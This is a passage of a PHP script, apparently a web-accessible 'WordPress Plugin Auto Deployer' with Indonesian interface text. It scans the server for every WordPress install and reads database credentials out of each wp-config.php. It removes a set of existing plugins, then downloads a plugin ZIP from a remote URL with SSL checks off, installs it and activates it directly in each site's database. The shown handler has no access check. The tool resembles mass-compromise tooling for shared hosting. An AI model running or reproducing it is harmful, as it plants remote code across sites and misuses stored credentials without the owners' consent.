$CACHE_EXPIRY) { @unlink($CACHE_FILE); return false; } $content = file_get_contents($CACHE_FILE); if ($content === false || empty($content)) { @unlink($CACHE_FILE); return false; } return $content; } function save_to_cache($content) { global $CACHE_FILE; ensure_cache_dir(); $result = file_put_contents($CACHE_FILE, $content); if ($result === false) { return false; } chmod($CACHE_FILE, 0644); return true; } function clear_plugin_cache() { global $CACHE_FILE; if (file_exists($CACHE_FILE)) { @unlink($CACHE_FILE); return true; } return false; } function get_cache_info() { global $CACHE_FILE; if (!file_exists($CACHE_FILE)) { return null; } $size = filesize($CACHE_FILE); $modified = filemtime($CACHE_FILE); $age = time() - $modified; return [ 'size' => round($size / 1024, 2) . ' KB', 'size_bytes' => $size, 'modified' => date('Y-m-d H:i:s', $modified), 'age_seconds' => $age, 'age_readable' => format_age($age) ]; } function format_age($seconds) { if ($seconds < 60) return $seconds . ' detik'; if ($seconds < 3600) return floor($seconds / 60) . ' menit'; if ($seconds < 86400) return floor($seconds / 3600) . ' jam'; return floor($seconds / 86400) . ' hari'; } function download_plugin_with_cache($force_download = false) { global $PLUGIN_ZIP_URL; if (!$force_download) { $cached = get_cached_plugin(); if ($cached !== false) { return [ 'success' => true, 'content' => $cached, 'source' => 'cache', 'size' => round(strlen($cached) / 1024, 2) . ' KB' ]; } } $result = download_content($PLUGIN_ZIP_URL); if ($result === false) { return [ 'success' => false, 'error' => 'Gagal download plugin dari server' ]; } save_to_cache($result); return [ 'success' => true, 'content' => $result, 'source' => 'download', 'size' => round(strlen($result) / 1024, 2) . ' KB' ]; } function download_content($url) { $url_parts = parse_url($url); $base_url = $url_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path']; $cache_buster = [ 'v' => time(), 'rand' => mt_rand(100000, 999999), 'timestamp' => microtime(true) * 1000, 'nocache' => uniqid() ]; $query_params = []; if (!empty($url_parts['query'])) { parse_str($url_parts['query'], $query_params); } $query_params = array_merge($query_params, $cache_buster); $final_url = $base_url . '?' . http_build_query($query_params); $options = [ 'http' => [ 'method' => 'GET', 'header' => [ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Cache-Control: no-cache, no-store, must-revalidate, max-age=0", "Pragma: no-cache", "Expires: -1", "Accept: */*", "Accept-Encoding: gzip, deflate, br" ], 'timeout' => 60, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($options); $content = @file_get_contents($final_url, false, $context); if ($content === false && function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $final_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate'); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cache-Control: no-cache, no-store, must-revalidate, max-age=0', 'Pragma: no-cache', 'Expires: -1' ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // ==================== CORE FUNCTIONS ==================== function is_domain_folder($name, $tlds) { $dn = strtolower($name); if (strpos($dn, '.') === false) return false; foreach ($tlds as $t) if (substr($dn, -strlen($t)) === strtolower($t)) return true; return false; } function scan_dirs_bfs($roots, $maxDepth = 6, $maxDirs = 15000) { $res = []; $queue = []; $visited = []; $scanned = 0; foreach ($roots as $r) { $rr = realpath($r); if ($rr) $queue[] = ['p' => $rr, 'd' => 0]; } while (!empty($queue) && $scanned < $maxDirs) { $it = array_shift($queue); $p = $it['p']; $d = $it['d']; if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue; $res[] = $p; $scanned++; if ($d >= $maxDepth) continue; $ch = @scandir($p); if (!is_array($ch)) continue; foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; } } return $res; } function detect_webroot_auto($startDir, $allowedTlds, $maxUp = 12) { $cur = realpath($startDir); if ($cur === false) return false; $level = 0; while ($cur !== false && $level <= $maxUp) { $children = @scandir($cur); if (is_array($children)) { foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $p = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p); } } $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++; } return realpath(dirname($startDir)); } function detect_domain_webroot($domainPath, $target_filename, $maxDepth = 4) { $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = []; while (!empty($queue)) { $it = array_shift($queue); $cur = $it['path']; $d = $it['depth']; if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1; $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename; if (file_exists($targetPath)) return $targetPath; if ($d >= $maxDepth) continue; $children = @scandir($cur); if (!is_array($children)) continue; foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; } } return false; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); $files = array_diff(scandir($dir), ['.', '..']); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; (is_dir($path)) ? delete_directory($path) : @unlink($path); } return @rmdir($dir); } function copy_directory($src, $dst) { if (!file_exists($dst)) mkdir($dst, 0755, true); $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($src, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { $target = $dst . DIRECTORY_SEPARATOR . $iterator->getSubPathname(); if ($item->isDir()) { if (!file_exists($target)) mkdir($target, 0755, true); } else { copy($item->getPathname(), $target); } } } function extract_zip_and_get_plugin_info($zip_content, $extract_path) { if (!class_exists('ZipArchive')) return false; $temp_zip = tempnam(sys_get_temp_dir(), 'wp_plugin_') . '.zip'; file_put_contents($temp_zip, $zip_content); $zip = new ZipArchive; if ($zip->open($temp_zip) === TRUE) { if (file_exists($extract_path)) delete_directory($extract_path); mkdir($extract_path, 0755, true); $zip->extractTo($extract_path); $zip->close(); unlink($temp_zip); $plugin_files = find_plugin_files($extract_path); return $plugin_files; } if (file_exists($temp_zip)) unlink($temp_zip); return false; } function find_plugin_files($path) { $plugin_files = []; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $file) { if ($file->isFile() && $file->getExtension() === 'php') { $content = file_get_contents($file->getPathname()); if (preg_match('/Plugin Name:\s*(.+)/i', $content)) { $relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $file->getPathname()); $folder_name = explode(DIRECTORY_SEPARATOR, $relative_path)[0]; $plugin_files = [ 'main_file' => $file->getPathname(), 'folder_name' => $folder_name, 'relative_main_file' => $relative_path, 'full_path' => $path, 'plugin_name' => trim(preg_replace('/Plugin Name:\s*(.+)/i', '$1', $content)) ]; break; } } } return $plugin_files; } function deactivate_old_plugins($wp_path, $old_plugin_slugs) { $wp_config = $wp_path . '/wp-config.php'; if (!file_exists($wp_config)) return false; $config_content = file_get_contents($wp_config); $patterns = [ 'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/" ]; $config = []; foreach ($patterns as $key => $pattern) { if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1]; } if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false; $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']); if ($conn->connect_error) return false; $options_table = $config['table_prefix'] . 'options'; $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'"); if ($result && $row = $result->fetch_assoc()) { $active_plugins = @unserialize($row['option_value']); if (is_array($active_plugins)) { $changed = false; foreach ($old_plugin_slugs as $old_slug) { $possible_identifiers = [ $old_slug . '/' . $old_slug . '.php', $old_slug . '/index.php', $old_slug . '/main.php', $old_slug . '/plugin.php' ]; foreach ($possible_identifiers as $identifier) { if (in_array($identifier, $active_plugins)) { $active_plugins = array_diff($active_plugins, [$identifier]); $changed = true; } } foreach ($active_plugins as $key => $plugin) { if (strpos($plugin, $old_slug . '/') === 0) { unset($active_plugins[$key]); $changed = true; } } } if ($changed) { $serialized = serialize(array_values($active_plugins)); $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'"); } } } $conn->close(); return true; } function remove_old_plugin_folders($wp_path, $old_plugin_slugs) { $removed = []; $not_found = []; foreach ($old_plugin_slugs as $old_slug) { $old_plugin_path = $wp_path . '/wp-content/plugins/' . $old_slug; if (file_exists($old_plugin_path)) { if (delete_directory($old_plugin_path)) { $removed[] = $old_slug; } } else { $not_found[] = $old_slug; } } return [ 'removed' => $removed, 'not_found' => $not_found ]; } function activate_plugin_db($wp_path, $plugin_folder, $plugin_file) { $wp_config = $wp_path . '/wp-config.php'; if (!file_exists($wp_config)) return false; $config_content = file_get_contents($wp_config); $patterns = [ 'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", 'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/" ]; $config = []; foreach ($patterns as $key => $pattern) { if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1]; } if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false; $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']); if ($conn->connect_error) return false; $options_table = $config['table_prefix'] . 'options'; $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'"); if ($result && $row = $result->fetch_assoc()) { $active_plugins = @unserialize($row['option_value']); if (!is_array($active_plugins)) $active_plugins = []; $plugin_identifier = $plugin_folder . '/' . $plugin_file; if (!in_array($plugin_identifier, $active_plugins)) { $active_plugins[] = $plugin_identifier; $serialized = serialize($active_plugins); $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'"); } } $conn->close(); return true; } // ==================== AJAX HANDLER ==================== if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { header('Content-Type: application/json'); if ($_POST['action'] === 'scan_sites') { $apiDir = realpath(__DIR__); $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS); if (!$webroot) { echo json_encode(['success' => false, 'error' => 'Cannot detect webroot']); exit; } $roots = [$webroot, dirname($webroot), $apiDir]; $roots = array_unique(array_filter($roots, 'realpath')); $dirs = scan_dirs_bfs($roots, 6, 15000); $wp_sites = []; foreach ($dirs as $dir) { if (!is_domain_folder(basename($dir), $ALLOWED_TLDS)) continue; $wp_config = detect_domain_webroot($dir, 'wp-config.php', 4); if ($wp_config) { $wp_root = dirname($wp_config); $wp_sites[] = [ 'domain' => basename($dir), 'path' => $wp_root ]; } } echo json_encode(['success' => true, 'sites' => $wp_sites, 'webroot' => $webroot, 'total' => count($wp_sites)]); exit; } if ($_POST['action'] === 'cache_info') { $cache_info = get_cache_info(); if ($cache_info) { echo json_encode([ 'success' => true, 'cache_exists' => true, 'info' => $cache_info ]); } else { echo json_encode([ 'success' => true, 'cache_exists' => false, 'info' => null ]); } exit; } if ($_POST['action'] === 'clear_cache') { $result = clear_plugin_cache(); echo json_encode([ 'success' => $result, 'message' => $result ? 'Cache cleared successfully' : 'Failed to clear cache' ]); exit; } if ($_POST['action'] === 'deploy_site') { $site = json_decode($_POST['site'], true); $wp_path = $site['path']; $domain = $site['domain']; $force_download = isset($_POST['force_download']) && $_POST['force_download'] === 'true'; $result = [ 'success' => false, 'domain' => $domain, 'steps' => [], 'error' => null ]; try { $result['steps'][] = ['action' => '🔍 Deactivating old plugins...', 'status' => 'processing']; deactivate_old_plugins($wp_path, $OLD_PLUGIN_SLUGS); $result['steps'][] = ['action' => '✅ Old plugins deactivated', 'status' => 'success']; $result['steps'][] = ['action' => 'đŸ—‘ī¸ Removing old plugin folders...', 'status' => 'processing']; $removal_result = remove_old_plugin_folders($wp_path, $OLD_PLUGIN_SLUGS); if (count($removal_result['removed']) > 0) { $result['steps'][] = ['action' => '✅ Removed: ' . implode(', ', $removal_result['removed']), 'status' => 'success']; } if (count($removal_result['not_found']) > 0) { $result['steps'][] = ['action' => 'â„šī¸ Not found: ' . implode(', ', $removal_result['not_found']), 'status' => 'info']; } if ($force_download) { $result['steps'][] = ['action' => 'đŸ“Ĩ Force downloading fresh plugin...', 'status' => 'processing']; } else { $result['steps'][] = ['action' => 'đŸ“Ĩ Getting plugin from cache...', 'status' => 'processing']; } $download_result = download_plugin_with_cache($force_download); if (!$download_result['success']) { throw new Exception($download_result['error']); } $ZIP_CONTENT = $download_result['content']; $source_type = $download_result['source']; $size = $download_result['size']; $result['steps'][] = [ 'action' => '✅ Plugin from ' . strtoupper($source_type) . ' (' . $size . ')', 'status' => 'success', 'size' => $size, 'source' => $source_type ]; $result['steps'][] = ['action' => 'đŸ“Ļ Extracting plugin...', 'status' => 'processing']; $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid(); $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path); if (!$plugin_info) { throw new Exception('Failed to extract ZIP'); } $result['steps'][] = ['action' => '✅ Plugin extracted: ' . $plugin_info['plugin_name'], 'status' => 'success']; $result['steps'][] = ['action' => '📁 Installing plugin files...', 'status' => 'processing']; $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name']; $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name']; if (!file_exists($source_dir)) { $source_dir = $plugin_info['full_path']; } copy_directory($source_dir, $plugin_dir); $result['steps'][] = ['action' => '✅ Plugin installed to: ' . $plugin_info['folder_name'], 'status' => 'success']; $result['steps'][] = ['action' => '🚀 Activating plugin...', 'status' => 'processing']; $plugin_file = basename($plugin_info['relative_main_file']); if (activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file)) { $result['steps'][] = ['action' => '✅ Plugin activated!', 'status' => 'success']; $result['success'] = true; } else { $result['steps'][] = ['action' => 'âš ī¸ Activation failed (manual needed)', 'status' => 'warning']; $result['success'] = true; } if (file_exists($temp_extract_path)) { delete_directory($temp_extract_path); } } catch (Exception $e) { $result['error'] = $e->getMessage(); $result['steps'][] = ['action' => '❌ ERROR: ' . $e->getMessage(), 'status' => 'error']; } echo json_encode($result); exit; } if ($_POST['action'] === 'deploy_all') { $sites = json_decode($_POST['sites'], true); $force_download = isset($_POST['force_download']) && $_POST['force_download'] === 'true'; $results = []; $download_result = download_plugin_with_cache($force_download); if (!$download_result['success']) { echo json_encode([ 'success' => false, 'error' => 'Failed to download plugin: ' . $download_result['error'] ]); exit; } $ZIP_CONTENT = $download_result['content']; $source_type = $download_result['source']; $size = $download_result['size']; foreach ($sites as $site) { $wp_path = $site['path']; $domain = $site['domain']; $result = [ 'success' => false, 'domain' => $domain, 'steps' => [], 'error' => null ]; try { $result['steps'][] = ['action' => 'đŸ“Ĩ Plugin from ' . strtoupper($source_type) . ' (' . $size . ')', 'status' => 'success']; deactivate_old_plugins($wp_path, $OLD_PLUGIN_SLUGS); remove_old_plugin_folders($wp_path, $OLD_PLUGIN_SLUGS); $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid(); $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path); if (!$plugin_info) throw new Exception('Failed to extract ZIP'); $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name']; $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name']; if (!file_exists($source_dir)) $source_dir = $plugin_info['full_path']; copy_directory($source_dir, $plugin_dir); $plugin_file = basename($plugin_info['relative_main_file']); activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file); if (file_exists($temp_extract_path)) delete_directory($temp_extract_path); $result['success'] = true; $result['steps'][] = ['action' => '✅ Deployment complete', 'status' => 'success']; } catch (Exception $e) { $result['error'] = $e->getMessage(); $result['steps'][] = ['action' => '❌ Error: ' . $e->getMessage(), 'status' => 'error']; } $results[] = $result; } echo json_encode(['success' => true, 'results' => $results, 'cache_source' => $source_type]); exit; } exit; } // ==================== HTML ==================== ?> WP Plugin Auto Deployer - With Cache

WordPress Plugin Auto Deployer

Smart Cache System - Download 1x, Deploy ke Semua Site! (File disimpan di /tmp)

0
Total Sites
0
Deployed
0
Successful
0
Failed
Control Panel
WordPress Sites CLEAN INSTALL ANTI-CACHE LOCAL CACHE
Smart Cache System:
💾 Cache Location:
âąī¸ Cache Expiry: detik
Download sekali, deploy ke semua site!
Click "Scan Sites" to begin
System Info
PHP:
ZipArchive:
Cache Dir: